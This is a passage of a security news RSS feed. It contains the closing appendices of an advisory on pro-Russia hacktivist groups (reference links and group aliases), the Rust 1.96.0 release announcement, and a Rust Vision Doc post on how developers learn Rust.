<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.96.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693296/tools/the-rust-programming-language-blog-announcing-rust-1960/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:36 +0200</pubDate>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.96.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can <a href="https://www.rust-lang.org/install.html" rel="external">get <code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1960-2026-05-28" rel="external">detailed release notes for 1.96.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#what-s-in-1-96-0-stable"></a>
What's in 1.96.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#new-range-types"></a>
New <code>Range*</code> types</h4>
<p>Many users expect <code>Range</code> and related <code>core::ops</code> types to be <code>Copy</code>, but this is not the case: they implement <code>Iterator</code> directly, and <a href="https://rust-lang.github.io/rust-clippy/rust-1.95.0/index.html#copy_iterator" rel="external">it is a footgun to implement both <code>Iterator</code> and <code>Copy</code> on the same type</a> so this has been avoided. <a href="https://rust-lang.github.io/rfcs/3550-new-range.html" rel="external">RFC3550</a> proposed a set of replacement range types that implement <code>IntoIterator</code> rather than <code>Iterator</code>, meaning they can also be <code>Copy</code>. The standard library portion of that RFC is now stable, introducing:</p>
<ul>
<li><code>core::range::Range</code></li>
<li><code>core::range::RangeFrom</code></li>
<li><code>core::range::RangeInclusive</code></li>
<li>Associated iterators</li>
</ul>
<p>A Rust version in the near future will also add <code>core::range::RangeFull</code> and <code>core::range::RangeTo</code> as re-exports from <code>core::ops</code> (these do not implement <code>Iterator</code> and already implement <code>Copy</code>), and <code>core::range::legacy::*</code> as the new home for the current ranges. Range syntax like <code>0..1</code> still produces the legacy types for now, but will be updated to <code>core::range</code> types in a future edition.</p>
<p>With these stabilizations, it is now possible to store slice accessors in <code>Copy</code> types without splitting <code>start</code> and <code>end</code>:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-namespace">range</span><span class="z-keyword z-operator">::</span><span class="z-entity z-name z-type">Range</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>#</span><span>[</span><span>derive</span><span>(</span><span class="z-entity z-name z-type">Clone</span><span>,</span><span class="z-entity z-name z-type"> Copy</span><span>)</span><span>]</span></span>
<span class="giallo-l"><span class="z-keyword">pub</span><span class="z-storage z-type"> struct</span><span class="z-entity z-name z-type"> Span</span><span>(</span><span class="z-entity z-name z-type">Range</span><span>&lt;</span><span class="z-entity z-name z-type">usize</span><span>&gt;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">impl</span><span class="z-entity z-name z-type"> Span</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword">    pub</span><span class="z-keyword"> fn</span><span class="z-entity z-name z-function"> of</span><span>(</span><span class="z-variable z-language">self</span><span>,</span><span class="z-variable"> s</span><span class="z-keyword z-operator">:</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-keyword z-operator"> &amp;</span><span class="z-entity z-name z-type">str</span><span> {</span></span>
<span class="giallo-l"><span class="z-keyword z-operator">        &amp;</span><span class="z-variable">s</span><span>[</span><span class="z-variable z-language">self</span><span class="z-keyword z-operator">.</span><span class="z-constant z-numeric">0</span><span>]</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>The new <code>RangeInclusive</code> also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.</p>
<p>Library authors should consider making use of <code>impl RangeBounds</code> in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#assert-matching-patterns"></a>
Assert matching patterns</h4>
<p>The new macros <code>assert_matches!</code> and <code>debug_assert_matches!</code> check that a value matches a given pattern, panicking with a <code>Debug</code> representation of the value otherwise. These are essentially the same as <code>assert!(matches!(..))</code> and <code>debug_assert!(matches!(..))</code>, but the printed value improves the possibility of diagnosing the failure.</p>
<p>These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from <code>core</code> or <code>std</code> before use.</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span class="z-keyword">use</span><span class="z-entity z-name z-namespace"> core</span><span class="z-keyword z-operator">::</span><span>assert_matches</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">///</span><span class="z-comment"> [Random Number](https://xkcd.com/221/)</span></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> get_random_number</span><span>(</span><span>)</span><span class="z-keyword z-operator"> -&gt;</span><span class="z-entity z-name z-type"> u32</span><span> {</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> chosen by a fair dice roll.</span></span>
<span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">    //</span><span class="z-comment z-line z-double-slash z-comment"> guaranteed to be random.</span></span>
<span class="giallo-l"><span class="z-constant z-numeric">    4</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span class="z-keyword">fn</span><span class="z-entity z-name z-function"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span class="z-entity z-name z-function">    assert_matches!</span><span>(</span><span class="z-entity z-name z-function">get_random_number</span><span>(</span><span>)</span><span>,</span><span class="z-constant z-numeric"> 1</span><span class="z-keyword z-operator">..=</span><span class="z-constant z-numeric">6</span><span>)</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#changes-to-webassembly-targets"></a>
Changes to WebAssembly targets</h4>
<p>WebAssembly targets no longer pass <code>--allow-undefined</code> to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the <code>"env"</code> module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.</p>
<p>Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with <code>RUSTFLAGS=-Clink-arg=--allow-undefined</code> or by editing the source code and using <code>#[link(wasm_import_module = "env")]</code> on the block defining the symbol.</p>
<p>This change was <a href="https://blog.rust-lang.org/2026/04/04/changes-to-webassembly-targets-and-handling-undefined-symbols/" rel="external">previously announced</a> on this blog, and now takes effect in Rust 1.96.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/macro.assert_matches.html" rel="external"><code>assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/macro.debug_assert_matches.html" rel="external"><code>debug_assert_matches!</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/panic/struct.AssertUnwindSafe.html#impl-From%3CT%3E-for-AssertUnwindSafe%3CT%3E" rel="external"><code>From&lt;T&gt; for AssertUnwindSafe&lt;T&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/cell/struct.LazyCell.html#impl-From%3CT%3E-for-LazyCell%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyCell&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/sync/struct.LazyLock.html#impl-From%3CT%3E-for-LazyLock%3CT,+F%3E" rel="external"><code>From&lt;T&gt; for LazyLock&lt;T, F&gt;</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeToInclusive.html" rel="external"><code>core::range::RangeToInclusive</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFrom.html" rel="external"><code>core::range::RangeFrom</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeFromIter.html" rel="external"><code>core::range::RangeFromIter</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.Range.html" rel="external"><code>core::range::Range</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/core/range/struct.RangeIter.html" rel="external"><code>core::range::RangeIter</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#two-cargo-advisories"></a>
Two Cargo advisories</h4>
<p>Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.</p>
<ul>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5223/" rel="external">CVE-2026-5223</a> is a <strong>medium</strong> severity vulnerability regarding extraction of crate tarballs with symlinks.</p>
</li>
<li>
<p><a href="https://blog.rust-lang.org/2026/05/25/cve-2026-5222/" rel="external">CVE-2026-5222</a> is a <strong>low</strong> severity vulnerability regarding authentication with normalized URLs.</p>
</li>
</ul>
<p>Users of crates.io are <strong>not affected</strong> by either vulnerability.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.96.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-196-2026-05-28" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-196" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/05/28/Rust-1.96.0/#contributors-to-1-96-0"></a>
Contributors to 1.96.0</h3>
<p>Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.96.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
